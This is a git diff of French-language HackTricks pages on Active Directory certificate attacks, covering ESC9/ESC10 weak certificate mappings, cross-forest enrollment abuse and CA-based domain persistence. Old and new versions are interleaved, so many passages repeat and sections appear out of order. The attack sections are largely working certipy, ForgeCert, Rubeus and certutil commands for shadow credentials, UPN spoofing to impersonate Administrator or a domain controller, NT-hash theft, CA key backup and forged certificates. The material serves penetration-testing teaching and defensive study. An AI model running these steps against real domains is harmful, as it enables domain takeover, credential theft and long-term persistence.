* `StrongCertificateBindingEnforcement` n'est pas réglé sur `2` (par défaut : `1`) ou `CertificateMappingMethods` contient le drapeau `UPN`
* Le certificat contient le drapeau `CT_FLAG_NO_SECURITY_EXTENSION` dans la valeur `msPKI-Enrollment-Flag`
* Le certificat spécifie n'importe quel EKU d'authentification client
* `GenericWrite` sur n'importe quel compte A pour compromettre n'importe quel compte B
Les conditions dans lesquelles le réglage de ce drapeau devient significatif incluent :
- `StrongCertificateBindingEnforcement` n'est pas ajusté sur `2` (le paramètre par défaut étant `1`), ou `CertificateMappingMethods` inclut le drapeau `UPN`.
- Le certificat est marqué avec le drapeau `CT_FLAG_NO_SECURITY_EXTENSION` dans le réglage `msPKI-Enrollment-Flag`.
- Une EKU d'authentification client est spécifiée par le certificat.
- Des autorisations `GenericWrite` sont disponibles sur n'importe quel compte pour compromettre un autre.
### Abus
### Scénario d'abus
Dans ce cas, `John@corp.local` a `GenericWrite` sur `Jane@corp.local`, et nous souhaitons compromettre `Administrator@corp.local`. `Jane@corp.local` est autorisée à s'inscrire au modèle de certificat `ESC9` qui spécifie le drapeau `CT_FLAG_NO_SECURITY_EXTENSION` dans la valeur `msPKI-Enrollment-Flag`.
Supposons que `John@corp.local` détient des autorisations `GenericWrite` sur `Jane@corp.local`, dans le but de compromettre `Administrator@corp.local`. Le modèle de certificat `ESC9`, pour lequel `Jane@corp.local` est autorisée à s'inscrire, est configuré avec le drapeau `CT_FLAG_NO_SECURITY_EXTENSION` dans son réglage `msPKI-Enrollment-Flag`.
D'abord, nous obtenons le hash de `Jane` avec par exemple Shadow Credentials (en utilisant notre `GenericWrite`).
Initialement, le hachage de `Jane` est acquis en utilisant les informations d'identification Shadow, grâce à `GenericWrite` de `John` :
```bash
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
```
Ensuite, le `userPrincipalName` de `Jane` est modifié en `Administrateur`, en omettant délibérément la partie de domaine `@corp.local` :
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
Cette modification ne viole pas les contraintes, étant donné que `Administrator@corp.local` reste distinct en tant que `userPrincipalName` de `Administrator`.
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (22).png" alt=""><figcaption></figcaption></figure>
Suite à cela, le modèle de certificat `ESC9`, marqué comme vulnérable, est demandé en tant que `Jane`:
```bash
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
```
Il est noté que le `userPrincipalName` du certificat reflète `Administrator`, sans aucun "object SID".
Ensuite, nous changeons le `userPrincipalName` de `Jane` pour qu'il soit `Administrator`. Remarquez que nous omettons la partie `@corp.local`.
<figure><img src="../../../.gitbook/assets/image (2) (2) (3).png" alt=""><figcaption></figcaption></figure>
Ceci n'est pas une violation de contrainte, puisque le `userPrincipalName` de l'utilisateur `Administrator` est `Administrator@corp.local` et non `Administrator`.
Maintenant, nous demandons le modèle de certificat vulnérable `ESC9`. Nous devons demander le certificat en tant que `Jane`.
<figure><img src="../../../.gitbook/assets/image (16) (2).png" alt=""><figcaption></figcaption></figure>
Remarquez que le `userPrincipalName` dans le certificat est `Administrator` et que le certificat émis ne contient pas de "SID d'objet".
Ensuite, nous changeons à nouveau le `userPrincipalName` de `Jane` pour qu'il soit autre chose, comme son `userPrincipalName` original `Jane@corp.local`.
<figure><img src="../../../.gitbook/assets/image (24) (2).png" alt=""><figcaption></figcaption></figure>
Maintenant, si nous essayons de nous authentifier avec le certificat, nous recevrons le hash NT de l'utilisateur `Administrator@corp.local`. Vous devrez ajouter `-domain <domain>` à votre ligne de commande puisqu'il n'y a pas de domaine spécifié dans le certificat.
<figure><img src="../../../.gitbook/assets/image (3) (1) (3).png" alt=""><figcaption></figcaption></figure>
## Mappages de certificats faibles - ESC10
Le `userPrincipalName` de `Jane` est ensuite rétabli à son original, `Jane@corp.local`:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
En essayant l'authentification avec le certificat émis, on obtient maintenant le hachage NT de `Administrator@corp.local`. La commande doit inclure `-domain <domain>` en raison du manque de spécification de domaine du certificat :
```bash
certipy auth -pfx adminitrator.pfx -domain corp.local
```
## Faibles Mappages de Certificats - ESC10
### Explication
ESC10 fait référence à deux valeurs de clé de registre sur le contrôleur de domaine.
Deux valeurs de clé de registre sur le contrôleur de domaine sont mentionnées par ESC10 :
`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` `CertificateMappingMethods`. Valeur par défaut `0x18` (`0x8 | 0x10`), précédemment `0x1F`.
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` `StrongCertificateBindingEnforcement`. Valeur par défaut `1`, précédemment `0`.
- La valeur par défaut de `CertificateMappingMethods` sous `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` est `0x18` (`0x8 | 0x10`), précédemment définie sur `0x1F`.
- Le paramètre par défaut de `StrongCertificateBindingEnforcement` sous `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` est `1`, précédemment `0`.
**Cas 1**
`StrongCertificateBindingEnforcement` réglé sur `0`
Lorsque `StrongCertificateBindingEnforcement` est configuré comme `0`.
**Cas 2**
`CertificateMappingMethods` contient le bit `UPN` (`0x4`)
Si `CertificateMappingMethods` inclut le bit `UPN` (`0x4`).
### Cas d'abus 1
### Cas d'Abus 1
* `StrongCertificateBindingEnforcement` réglé sur `0`
* `GenericWrite` sur n'importe quel compte A pour compromettre n'importe quel compte B
Avec `StrongCertificateBindingEnforcement` configuré comme `0`, un compte A avec des permissions `GenericWrite` peut être exploité pour compromettre n'importe quel compte B.
Dans ce cas, `John@corp.local` a `GenericWrite` sur `Jane@corp.local`, et nous souhaitons compromettre `Administrator@corp.local`. Les étapes d'abus sont presque identiques à ESC9, sauf que n'importe quel modèle de certificat peut être utilisé.
D'abord, nous obtenons le hash de `Jane` avec par exemple Shadow Credentials (en utilisant notre `GenericWrite`).
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (19).png" alt=""><figcaption></figcaption></figure>
Ensuite, nous changeons le `userPrincipalName` de `Jane` pour qu'il soit `Administrator`. Remarquez que nous omettons la partie `@corp.local`.
<figure><img src="../../../.gitbook/assets/image (5) (3).png" alt=""><figcaption></figcaption></figure>
Ceci n'est pas une violation de contrainte, puisque le `userPrincipalName` de l'utilisateur `Administrator` est `Administrator@corp.local` et non `Administrator`.
Maintenant, nous demandons n'importe quel certificat qui permet l'authentification client, par exemple le modèle par défaut `User`. Nous devons demander le certificat en tant que `Jane`.
<figure><img src="../../../.gitbook/assets/image (14) (2) (1).png" alt=""><figcaption></figcaption></figure>
Remarquez que le `userPrincipalName` dans le certificat est `Administrator`.
Ensuite, nous changeons à nouveau le `userPrincipalName` de `Jane` pour qu'il soit autre chose, comme son `userPrincipalName` original `Jane@corp.local`.
<figure><img src="../../../.gitbook/assets/image (4) (1) (3).png" alt=""><figcaption></figcaption></figure>
Maintenant, si nous essayons de nous authentifier avec le certificat, nous recevrons le hash NT de l'utilisateur `Administrator@corp.local`. Vous devrez ajouter `-domain <domain>` à votre ligne de commande puisqu'il n'y a pas de domaine spécifié dans le certificat.
<figure><img src="../../../.gitbook/assets/image (1) (2) (2).png" alt=""><figcaption></figcaption></figure>
Par exemple, en ayant des permissions `GenericWrite` sur `Jane@corp.local`, un attaquant vise à compromettre `Administrator@corp.local`. La procédure reflète ESC9, permettant à n'importe quel modèle de certificat d'être utilisé.
Initialement, le hachage de `Jane` est récupéré en utilisant les Informations d'identification de l'Ombre, exploitant le `GenericWrite`.
```bash
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
```
Ensuite, le `userPrincipalName` de `Jane` est modifié en `Administrateur`, en omettant délibérément la partie `@corp.local` pour éviter une violation de contrainte.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
Suivant cela, un certificat permettant l'authentification du client est demandé en tant que `Jane`, en utilisant le modèle par défaut `Utilisateur`.
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
`userPrincipalName` de `Jane` est ensuite rétabli à son original, `Jane@corp.local`.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
Authentifier avec le certificat obtenu produira le hachage NT de `Administrator@corp.local`, nécessitant la spécification du domaine dans la commande en raison de l'absence de détails de domaine dans le certificat.
```bash
certipy auth -pfx administrator.pfx -domain corp.local
```
### Cas d'abus 2
* `CertificateMappingMethods` contient le drapeau de bit `UPN` (`0x4`)
* `GenericWrite` sur n'importe quel compte A pour compromettre n'importe quel compte B sans propriété `userPrincipalName` (comptes machine et administrateur de domaine intégré `Administrator`)
Avec les `CertificateMappingMethods` contenant le drapeau `UPN` (`0x4`), un compte A avec des autorisations `GenericWrite` peut compromettre n'importe quel compte B ne disposant pas d'une propriété `userPrincipalName`, y compris les comptes machine et l'administrateur de domaine intégré `Administrator`.
Dans ce cas, `John@corp.local` a `GenericWrite` sur `Jane@corp.local`, et nous souhaitons compromettre le contrôleur de domaine `DC$@corp.local`.
Ici, l'objectif est de compromettre `DC$@corp.local`, en commençant par obtenir le hachage de `Jane` via les informations d'identification Shadow, en exploitant le `GenericWrite`.
```bash
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```
`userPrincipalName` de `Jane` est ensuite défini sur `DC$@corp.local`.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
```
Un certificat d'authentification client est demandé en tant que `Jane` en utilisant le modèle `Utilisateur` par défaut.
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
`userPrincipalName` de `Jane` est revenu à son état d'origine après ce processus.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
```
Pour s'authentifier via Schannel, l'option `-ldap-shell` de Certipy est utilisée, indiquant le succès de l'authentification comme `u:CORP\DC$`.
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
À travers le shell LDAP, des commandes telles que `set_rbcd` permettent d'activer les attaques de délégation contrainte basée sur les ressources (RBCD), compromettant potentiellement le contrôleur de domaine.
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
Cette vulnérabilité s'étend également à tout compte utilisateur ne disposant pas d'un `userPrincipalName` ou lorsque celui-ci ne correspond pas au `sAMAccountName`, le `Administrator@corp.local` par défaut étant une cible principale en raison de ses privilèges LDAP élevés et de l'absence d'un `userPrincipalName` par défaut.
D'abord, nous obtenons le hash de `Jane` avec par exemple Shadow Credentials (en utilisant notre `GenericWrite`).
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png" alt=""><figcaption></figcaption></figure>
## Compromission des forêts avec des certificats expliquée à la voix passive
Ensuite, nous changeons le `userPrincipalName` de `Jane` pour qu'il soit `DC$@corp.local`.
### Rupture des confiances inter-forêts par des AC compromis
<figure><img src="../../../.gitbook/assets/image (18) (2) (1).png" alt=""><figcaption></figcaption></figure>
La configuration de **l'inscription inter-forêts** est relativement simple. Le **certificat de l'AC racine** de la forêt de ressources est **publié aux forêts de compte** par les administrateurs, et les **certificats de l'AC d'entreprise** de la forêt de ressources sont **ajoutés aux conteneurs `NTAuthCertificates` et AIA dans chaque forêt de compte**. Pour clarifier, cet arrangement accorde à **l'AC de la forêt de ressources un contrôle complet** sur toutes les autres forêts qu'elle gère en matière de PKI. Si cet AC est **compromis par des attaquants**, des certificats pour tous les utilisateurs des forêts de ressources et de compte pourraient être **contrefaits par eux**, rompant ainsi la frontière de sécurité de la forêt.
Ceci n'est pas une violation de contrainte, puisque le compte ordinateur `DC$` n'a pas de `userPrincipalName`.
### Privilèges d'inscription accordés à des principaux étrangers
Maintenant, nous demandons n'importe quel certificat qui permet l'authentification client, par exemple le modèle par défaut `User`. Nous devons demander le certificat en tant que `Jane`.
Dans les environnements multi-forêts, il convient de faire preuve de prudence concernant les AC d'entreprise qui **publient des modèles de certificat** permettant aux **Utilisateurs Authentifiés ou aux principaux étrangers** (utilisateurs/groupes externes à la forêt à laquelle l'AC d'entreprise appartient) **d'avoir des droits d'inscription et de modification**.\
Lors de l'authentification à travers une confiance, le **SID des Utilisateurs Authentifiés** est ajouté au jeton de l'utilisateur par AD. Ainsi, si un domaine possède un AC d'entreprise avec un modèle qui **autorise les droits d'inscription des Utilisateurs Authentifiés**, un modèle pourrait potentiellement être **inscrit par un utilisateur d'une forêt différente**. De même, si **des droits d'inscription sont explicitement accordés à un principal étranger par un modèle**, une **relation de contrôle d'accès inter-forêts est ainsi créée**, permettant à un principal d'une forêt d'**inscrire un modèle d'une autre forêt**.
<figure><img src="../../../.gitbook/assets/image (20) (2).png" alt=""><figcaption></figcaption></figure>
Ensuite, nous changeons à nouveau le `userPrincipalName` de `Jane` pour qu'il soit autre chose, comme son `userPrincipalName` original (`Jane@corp.local`).
<figure><img src="../../../.gitbook/assets/image (9) (1) (3).png" alt=""><figcaption></figcaption></figure>
Maintenant, puisque cette clé de registre s'applique à Schannel, nous devons utiliser le certificat pour l'authentification via Schannel. C'est là que l'option `-ldap-shell` de Certipy entre en jeu.
Si nous essayons de nous authentifier avec le certificat et `-ldap-shell`, nous remarquerons que nous sommes authentifiés en tant que `u:CORP\DC$`. Ceci est une chaîne envoyée par le serveur.
<figure><img src="../../../.gitbook/assets/image (21) (2) (1).png" alt=""><figcaption></figcaption></figure>
L'une des commandes disponibles pour le shell LDAP est `set_rbcd` qui définira la Délégation Contrainte Basée sur les Ressources (RBCD) sur la cible. Nous pourrions donc effectuer une attaque RBCD pour compromettre le contrôleur de domaine.
<figure><img src="../../../.gitbook/assets/image (7) (1) (2) (2).png" alt=""><figcaption></figcaption></figure>
Alternativement, nous pouvons également compromettre n'importe quel compte utilisateur où il n'y a pas de `userPrincipalName` défini ou où le `userPrincipalName` ne correspond pas au `sAMAccountName` de ce compte. D'après mes propres tests, l'administrateur de domaine par défaut `Administrator@corp.local` n'a pas de `userPrincipalName` défini par défaut, et ce compte devrait par défaut avoir plus de privilèges dans LDAP que les contrôleurs de domaine.
## Compromettre des forêts avec des certificats
### Les CA brisent la confiance des forêts
La configuration pour **l'inscription inter-forêts** est relativement simple. Les administrateurs publient le **certificat de la CA racine** de la forêt de ressources **dans les forêts de comptes** et ajoutent les certificats de la **CA d'entreprise** de la forêt de ressources aux conteneurs **`NTAuthCertificates`** et AIA **dans chaque forêt de comptes**. Pour être clair, cela signifie que la **CA** dans la forêt de ressources a un **contrôle complet** sur toutes les **autres forêts pour lesquelles elle gère la PKI**. Si les attaquants **compromettent cette CA**, ils peuvent **forger des certificats pour tous les utilisateurs dans les forêts de ressources et de comptes**, brisant la limite de sécurité de la forêt.
### Principaux étrangers avec des privilèges d'inscription
Une autre chose dont les organisations doivent se méfier dans les environnements multi-forêts est les CA d'entreprise **publiant des modèles de certificats** qui accordent aux **Utilisateurs Authentifiés ou principaux étrangers** (utilisateurs/groupes externes à la forêt à laquelle appartient la CA d'entreprise) **des droits d'inscription et de modification**.\
Lorsqu'un compte **s'authentifie à travers une confiance**, AD ajoute le SID des **Utilisateurs Authentifiés** au jeton de l'utilisateur qui s'authentifie. Par conséquent, si un domaine a une CA d'entreprise avec un modèle qui **accorde des droits d'inscription aux Utilisateurs Authentifiés**, un utilisateur d'une autre forêt pourrait potentiellement **s'inscrire au modèle**. De même, si un modèle accorde explicitement à un **principal étranger des droits d'inscription**, alors une **relation de contrôle d'accès inter-forêts est créée**, permettant à un principal dans une forêt de **s'inscrire à un modèle dans une autre forêt**.
Finalement, ces deux scénarios **augmentent la surface d'attaque** d'une forêt à une autre. Selon les paramètres du modèle de certificat, un attaquant pourrait exploiter cela pour obtenir des privilèges supplémentaires dans un domaine étranger.
## Références
* Toutes les informations de cette page ont été prises de [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf)
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Les deux scénarios entraînent une **augmentation de la surface d'attaque** d'une forêt à une autre. Les paramètres du modèle de certificat pourraient être exploités par un attaquant pour obtenir des privilèges supplémentaires dans un domaine étranger.

87
windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md
View file

@ -1,89 +1,74 @@
# Persistance dans le domaine AD CS
# Persistance de domaine AD CS
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
**Il s'agit d'un résumé des techniques de persistance partagées dans [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf)**. Consultez-le pour plus de détails.
## Falsification de certificats avec des certificats CA volés - DPERSIST1
Comment savoir qu'un certificat est un certificat CA ?
Comment pouvez-vous dire qu'un certificat est un certificat CA ?
* Le certificat CA existe sur le **serveur CA lui-même**, avec sa **clé privée protégée par le DPAPI de la machine** (à moins que l'OS utilise un TPM/HSM/autre matériel pour la protection).
* L'**Émetteur** et le **Sujet** du certificat sont tous deux définis sur le **nom distinctif du CA**.
* Les certificats CA (et seulement les certificats CA) **ont une extension “Version CA”**.
* Il n'y a **pas d'EKUs**
Il peut être déterminé qu'un certificat est un certificat CA si plusieurs conditions sont remplies :
La méthode prise en charge par l'interface graphique intégrée pour **extraire cette clé privée de certificat** est avec `certsrv.msc` sur le serveur CA.\
Cependant, ce certificat **n'est pas différent** des autres certificats stockés dans le système, donc par exemple, consultez la technique [**THEFT2**](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) pour voir comment les **extraire**.
- Le certificat est stocké sur le serveur CA, avec sa clé privée sécurisée par le DPAPI de la machine, ou par du matériel tel qu'un TPM/HSM si le système d'exploitation le prend en charge.
- Les champs Émetteur et Sujet du certificat correspondent au nom distinctif du CA.
- Une extension "Version du CA" est présente exclusivement dans les certificats CA.
- Le certificat ne contient pas de champs d'utilisation étendue de la clé (EKU).
Vous pouvez également obtenir le certificat et la clé privée en utilisant [**certipy**](https://github.com/ly4k/Certipy) :
Pour extraire la clé privée de ce certificat, l'outil `certsrv.msc` sur le serveur CA est la méthode prise en charge via l'interface graphique intégrée. Néanmoins, ce certificat ne diffère pas des autres stockés dans le système ; ainsi, des méthodes telles que la technique [THEFT2](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) peuvent être appliquées pour l'extraction.
Le certificat et la clé privée peuvent également être obtenus en utilisant Certipy avec la commande suivante :
```bash
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
```
Une fois que vous avez le **certificat CA** avec la clé privée au format `.pfx`, vous pouvez utiliser [**ForgeCert**](https://github.com/GhostPack/ForgeCert) pour créer des certificats valides :
Une fois que vous avez acquis le certificat CA et sa clé privée au format `.pfx`, des outils comme [ForgeCert](https://github.com/GhostPack/ForgeCert) peuvent être utilisés pour générer des certificats valides :
```bash
# Create new certificate with ForgeCert
# Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
# Create new certificate with certipy
# Generating a new certificate with certipy
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'
# Use new certificate with Rubeus to authenticate
# Authenticating using the new certificate with Rubeus
Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!
# User new certi with certipy to authenticate
# Authenticating using the new certificate with certipy
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
```
{% hint style="warning" %}
**Note** : L'**utilisateur** cible spécifié lors de la création du certificat doit être **actif/activé** dans AD et **capable de s'authentifier**, car un échange d'authentification aura toujours lieu en tant que cet utilisateur. Essayer de forger un certificat pour le compte krbtgt, par exemple, ne fonctionnera pas.
L'utilisateur ciblé pour la falsification de certificat doit être actif et capable de s'authentifier dans Active Directory pour que le processus réussisse. Falsifier un certificat pour des comptes spéciaux comme krbtgt est inefficace.
{% endhint %}
Ce certificat forgé sera **valide** jusqu'à la date de fin spécifiée et tant que le certificat de l'autorité de certification racine est valide (généralement de 5 à **10+ ans**). Il est également valide pour les **machines**, donc combiné avec **S4U2Self**, un attaquant peut **maintenir la persistance sur n'importe quelle machine du domaine** aussi longtemps que le certificat de l'AC est valide.\
De plus, les **certificats générés** avec cette méthode **ne peuvent pas être révoqués** car l'AC n'en est pas informée.
Ce certificat falsifié sera **valide** jusqu'à la date de fin spécifiée et aussi **longtemps que le certificat de l'autorité de certification racine est valide** (généralement de 5 à **10+ ans**). Il est également valide pour les **machines**, donc combiné avec **S4U2Self**, un attaquant peut **maintenir une persistance sur n'importe quelle machine de domaine** aussi longtemps que le certificat de l'autorité de certification est valide.\
De plus, les **certificats générés** avec cette méthode **ne peuvent pas être révoqués** car l'autorité de certification n'en est pas consciente.
## Faire confiance aux certificats CA Rogue - DPERSIST2
## Faire confiance aux certificats de CA malveillants - DPERSIST2
L'objet `NTAuthCertificates` définit un ou plusieurs **certificats CA** dans son **attribut** `cacertificate` et AD l'utilise : Lors de l'authentification, le **contrôleur de domaine** vérifie si l'objet **`NTAuthCertificates`** **contient** une entrée pour l'**AC spécifiée** dans le champ Émetteur du **certificat** authentifiant. Si **c'est le cas, l'authentification se poursuit**.
L'objet `NTAuthCertificates` est défini pour contenir un ou plusieurs **certificats de CA** dans son attribut `cacertificate`, que Active Directory (AD) utilise. Le processus de vérification par le **contrôleur de domaine** implique de vérifier l'objet `NTAuthCertificates` pour une entrée correspondant au **CA spécifié** dans le champ Émetteur du **certificat** d'authentification. L'authentification se poursuit si une correspondance est trouvée.
Un attaquant pourrait générer un **certificat CA auto-signé** et l'**ajouter** à l'objet **`NTAuthCertificates`**. Les attaquants peuvent faire cela s'ils ont le **contrôle** de l'objet AD **`NTAuthCertificates`** (dans les configurations par défaut, seuls les membres du groupe **Enterprise Admin** et les membres des groupes **Domain Admins** ou **Administrators** dans le **domaine racine de la forêt** ont ces permissions). Avec l'accès élevé, on peut **modifier** l'objet **`NTAuthCertificates`** depuis n'importe quel système avec `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126`, ou en utilisant l'[**outil PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).&#x20;
Un certificat de CA auto-signé peut être ajouté à l'objet `NTAuthCertificates` par un attaquant, à condition qu'il ait le contrôle sur cet objet AD. Normalement, seuls les membres du groupe **Administrateurs d'entreprise**, ainsi que les **Administrateurs de domaine** ou les **Administrateurs** du **domaine racine de la forêt**, ont l'autorisation de modifier cet objet. Ils peuvent modifier l'objet `NTAuthCertificates` en utilisant `certutil.exe` avec la commande `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126`, ou en utilisant l'[**Outil de santé PKI**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
Le certificat spécifié devrait **fonctionner avec la méthode de contrefaçon précédemment détaillée avec ForgeCert** pour générer des certificats à la demande.
Cette capacité est particulièrement pertinente lorsqu'elle est utilisée en conjonction avec une méthode précédemment décrite impliquant ForgeCert pour générer dynamiquement des certificats.
## Mauvaise configuration malveillante - DPERSIST3
Il existe une myriade d'opportunités pour la **persistance** via des **modifications du descripteur de sécurité des composants AD CS**. Tout scénario décrit dans la section “[Domain Escalation](domain-escalation.md)” pourrait être malicieusement mis en œuvre par un attaquant avec un accès élevé, ainsi que l'ajout de "droits de contrôle" (c'est-à-dire, WriteOwner/WriteDACL/etc.) aux composants sensibles. Cela inclut :
Les opportunités de **persistance** grâce aux **modifications des descripteurs de sécurité des composants AD CS** sont nombreuses. Les modifications décrites dans la section "[Élévation de domaine](domain-escalation.md)" peuvent être mises en œuvre de manière malveillante par un attaquant ayant un accès élevé. Cela inclut l'ajout de "droits de contrôle" (par exemple, WriteOwner/WriteDACL/etc.) à des composants sensibles tels que :
* L'objet **ordinateur AD du serveur CA**
* Le **serveur RPC/DCOM du serveur CA**
* Tout **objet ou conteneur AD descendant** dans le conteneur **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (par exemple, le conteneur des modèles de certificats, le conteneur des autorités de certification, l'objet NTAuthCertificates, etc.)
* **Groupes AD délégués des droits pour contrôler AD CS par défaut ou par l'organisation actuelle** (par exemple, le groupe Cert Publishers intégré et tous ses membres)
- L'objet ordinateur AD du **serveur CA**
- Le serveur RPC/DCOM du **serveur CA**
- Tout **objet ou conteneur AD descendant** dans **`CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (par exemple, le conteneur Modèles de certificats, le conteneur Autorités de certification, l'objet NTAuthCertificates, etc.)
- **Groupes AD ayant des droits délégués pour contrôler AD CS** par défaut ou par l'organisation (comme le groupe Cert Publishers intégré et l'un de ses membres)
Par exemple, un attaquant avec des **permissions élevées** dans le domaine pourrait ajouter la permission **`WriteOwner`** au modèle de certificat **`User`** par défaut, où l'attaquant est le principal pour le droit. Pour abuser de cela plus tard, l'attaquant modifierait d'abord la propriété du modèle **`User`** à lui-même, puis **définirait** **`mspki-certificate-name-flag`** à **1** sur le modèle pour activer **`ENROLLEE_SUPPLIES_SUBJECT`** (c'est-à-dire, permettant à un utilisateur de fournir un nom alternatif de sujet dans la demande). L'attaquant pourrait alors **s'inscrire** au **modèle**, en spécifiant un nom d'administrateur de domaine comme nom alternatif, et utiliser le certificat résultant pour l'authentification en tant que DA.
## Références
* Toutes les informations de cette page ont été prises de [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
